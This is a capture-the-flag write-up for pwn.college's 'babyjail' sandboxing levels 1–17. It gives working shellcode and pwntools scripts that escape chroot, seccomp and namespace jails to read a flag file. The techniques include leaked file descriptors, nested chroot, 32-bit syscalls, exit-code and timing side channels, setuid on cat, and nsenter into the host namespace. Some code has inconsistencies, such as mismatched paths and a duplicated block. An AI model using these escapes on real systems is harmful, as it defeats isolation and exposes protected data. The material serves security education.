Pwncollege - Sandboxing
0x88dfac8bedc5 Lv3

Level 1

the CWD of the process is outside the jail => use relative path to locate the flag

1
2
cd /
/challenge/babyjail_level1 flag

Level 2

the CWD of the process is still outside the jail but this time use shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
; fd = open("flag")
lea rdi, [ rip + _path ]
mov rsi,0
mov rdx, 0
mov rax, 2
syscall

; sendfile(1, fd, 0, 4096)
mov rdi, 1
mov rsi, rax
mov rdx, 0
mov r10, 4096
mov rax, 40
syscall

; exit(0)
mov rdi, 0
mov rax, 60
syscall

_path: .string "flag"

Level 3

observe that open(argv[1]) is called before chroot => use the second argument to open the real root directory, resulting in a fd outside the jail; in the shellcode, call openat with this fd to read the flag

1
/challenge/babyjail_level3 /
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
; fd = openat(3, "flag", 0, 0)
mov rdi, 3
lea rsi, [ rip + _path ]
mov rdx, 0
mov r10, 0
mov rax, 257
syscall

mov rdi, 1
mov rsi, rax
mov rdx, 0
mov r10, 4096
mov rax, 40
syscall

mov rdi, 0
mov rax, 60
syscall

_path: .string "flag"

Level 4

same method as level 3

Level 5

like level 3, we can obtain a fd outside the jail, then use linkat syscall to make a hard link inside the jail so that subsequent syscalls can open and print the flag

1
/challenge/babyjail_level3 /
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
; linkat(3, "flag", 0, "/flag-du", 0)
mov rdi, 3 [5/545]
lea rsi, [ rip + _path_1 ]
mov rdx, 0
lea r10, [ rip + _path_2 ]
mov r8, 0
mov rax, 265
syscall

; open("/flag-du", 0, 0)
lea rdi, [ rip + _path_2 ]
mov rsi, 0
mov rdx, 0
mov rax, 2
syscall

; sendfile(1, "/flag-du", 0, 4096)
mov rdi, 1
mov rsi, rax
mov rdx, 0
mov r10, 4096
mov rax, 40
syscall

; exit(0)
mov rdi, 0
mov rax, 60
syscall

_path_1: .string "flag"
_path_2: .string "/flag_du"

Level 6

make a fd outside the jail and fchdir with the fd

1
/challenge/babyjail_level3 /
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
; chdir(3)
mov rdi, 3 [5/257]
mov rax, 81
syscall

; fd = open("flag", 0, 0)
lea rdi, [ rip + _path_1 ]
mov rsi, 0
mov rdx, 0
mov rax, 2
syscall

; sendfile(0, fd, 0, 4096)
mov rdi, 1
mov rsi, rax
mov rdx, 0
mov r10, 4096
mov rax, 40
syscall

mov rdi, 0
mov rax, 60
syscall

_path_1: .string "flag"

Level 7

the goal is to leave the CWD outside the jail so that it can be used to open the real flag file; to implement this, we can create a new directory inside the current jail and chroot the jail root to the new directory without cd, resulting in the CWD outside the moved jail

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
; mkdir("/foo", 0755)
lea rdi, [ rip + _path_0 ]
mov rsi, 0755
mov rax, 83
syscall

; chroot("/foo")
lea rdi, [ rip + _path_0 ]
mov rax, 161
syscall

; open("../../flag", 0, 0)
lea rdi, [ rip + _path_1 ]
mov rsi, 0
mov rdx, 0
mov rax, 2
syscall

mov rdi, 1
mov rsi, rax
mov rdx, 0
mov r10, 4096
mov rax, 40
syscall

mov rdi, 0
mov rax, 60
syscall

_path_0: .string "/foo"
_path_1: .string "../../flag"

Level 8

only openat() is allowed => require a fd outside the jail
the challenge no more creates fd using argv[1] => do this manually by redirecting stderr to the root directory

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *

context.arch = "amd64"
shellcode = asm("""
mov rdi, 2
lea rsi, [ rip + _path_1 ]
mov rdx, 0
mov r10, 0
mov rax, 257
syscall

mov rdi, 1
mov rsi, rax
mov rdx, 0
mov r10, 4096
mov rax, 40
syscall

mov rdi, 0
mov rax, 60
syscall

_path_1: .string "flag"
""")
rtfd = os.open("/", os.O_RDONLY)
p = process(["/challenge/babyjail_level8","/"], stderr=rtfd)
p.send(shellcode)
p.interactive()

Level 9

in the challenge source code, observe that 32-bit mode syscalls are enabled and there is no chroot; given that all available syscall numbers are 3, 4, 5, and 6, we could use 32-bit versions of open(), read(), and write() to print the flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
lea rbx, [ rip + _path ]
mov ecx, 0
mov edx, 0
mov eax, 5
int 0x80

mov ebx, eax
lea rcx, [ rip + _buf ]
mov edx, 64
mov eax, 3
int 0x80

mov ebx, 1
lea rcx, [ rip + _buf ]
mov edx, eax
mov eax, 4
int 0x80

_path: .string "/flag"
_buf: .zero 64

Level 10

open the flag file via argv[1], read the flag content into some buffer, and bring the info to stdout one byte each time via exit()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
def crack():
flag_list = []
for offset in range(64):
sc = asm(f"""
mov rdi, 3
lea rsi, [ rip + _buf ]
mov rdx, 64
mov rax, 0
syscall

mov dil, [ rip + _buf + {offset} ]
mov rax, 60
syscall

_buf: .zero 64
""")
p = process(["/challenge/babyjail_level10", "/flag"])
p.send(sc)
exit_code = p.poll(True)
flag_list.append(exit_code)
return flag_list
print(bytes(crack()))

Level 11

prepare shellcode(index, value) such that the process sleeps iff flag[index] == value, then set a threshold time for the running process to tell if sleep() has been triggered or not, finally iterate all possible indices and values to test out the flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
def verify(index, value):                                                                                              
sc = asm(f"""
mov edi, 3
lea rsi, [ rip + _buf ]
mov edx, 64
mov eax, 0
syscall

cmp byte ptr [ rip + _buf + {index} ], {value}
je _sleep

_buf: .zero 64
_req: .quad 99, 0

_sleep:
lea rdi, [ rip + _req ]
mov esi, 0
mov rax, 35
syscall

_substrate: .zero 8
""")

p = process(["/challenge/babyjail_level11", "/flag"])
p.send(sc)
sleep(1)
imm_exit_code = p.poll()
p.kill()
return imm_exit_code == None

def crack(flag_array, n):
for index in range(n*8, n*8 + 8):
for value in range(256):
if verify(index, value):
flag_array[index] = value
break

flag_array = multiprocessing.Array('d', [0]*64)
workers = [multiprocessing.Process(target=crack, args=(flag_array, n)) for n in range(8)]
for worker in workers:
worker.start()

print(bytes(flag_array))

Level 12

in this level only read() syscall is allowed; we can prepare shellcode(index, value) so that an extra read() is triggered iff flag[index] == value, that is, the process is blocked for reading iff flag[index] == value, then we can observe its runtime behavior to tell if the extra read() hsa been triggered

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
def verify(index, value):                                                                                              
sc = asm(f"""
mov edi, 3
lea rsi, [ rip + _buf ]
mov edx, 64
mov eax, 0
syscall

cmp byte ptr [ rip + _buf + {index} ], {value}
je _read

_buf: .zero 64
_req: .quad 20, 0

_read:
mov edi, 0
lea rsi, [ rip + _buf ]
mov edx, 64
mov eax, 0
syscall

cmp byte ptr [ rip + _buf + {index} ], {value}
je _read

_buf: .zero 64
_req: .quad 20, 0

_read:
mov edi, 0
lea rsi, [ rip + _buf ]
mov edx, 64
mov eax, 0
syscall

_substrate: .zero 8
""")

p = process(["/challenge/babyjail_level12", "/flag"], alarm=1)
p.send(sc)
imm_exit_code = p.poll(block=True)
p.kill()
return imm_exit_code == -14

Level 13

in this challenge a parent process would pass the provided shellcode to a sanboxed child process which executes the shellcode and can pass commands for the parent to execute, all syscalls except read, write, and exit are disabled in the child process, we can simply pass command to read the flag into a buffer and then print the buffer

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *

context.arch = "amd64"
shellcode = asm("""
mov edi, 4
lea rsi, [ rip + _command_1 ]
mov edx, 15
mov eax, 1
syscall

mov edi, 4
lea rsi, [ rip + _command_2_arg ]
mov edx, 64
mov eax, 0
syscall

mov edi, 4
lea rsi, [ rip + _command_2 ]
mov edx, eax
add edx, 10
mov eax, 1
syscall

mov edi, eax
mov eax, 60
syscall

_command_1: .ascii "read_file:/flag"
_command_2: .ascii "print_msg:"
_command_2_arg: .zero 64
""")

p = process("/challenge/babyjail_level13")
p.send(shellcode)
p.interactive()

Level 14

this challenge creates a namespace sandbox but forgets to umount the original root so that we can directly read the flag in it

1
echo /old/flag

Level 15

since we can modify the host filesystem in the sandbox, adding the sid bit to cat

1
2
3
chmod u+s /bin/cat
exit
cat /flag

Level 16

this challenge allows us to access /proc directory in the sandbox, we can find the mount namespace of the host in /proc by file /proc/*/ns/mnt and then enter the host mnt namespace in a forked shell by nsenter --mount=/proc/1/ns/mnt /bin/bash and finally cat /flag

Level 17

this challenge allows us to pass any path except the flag to the sandboxed process from outside and run provided shellcode in the sandboxed process, we can pass the root directory and use openat and sendfile to leak the flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *

context.arch = "amd64"
shellcode = asm("""
mov edi, 3
lea rsi, [ rip + _filename ]
xor edx, edx
xor r10d, r10d
mov eax, 257
syscall

mov edi, 1
mov esi, eax
xor edx, edx
mov r10d, 64
mov eax, 40
syscall

_filename: .string "flag"
""")
p = process(["/challenge/babyjail_level17", "/"])
p.send(shellcode)
p.interactive()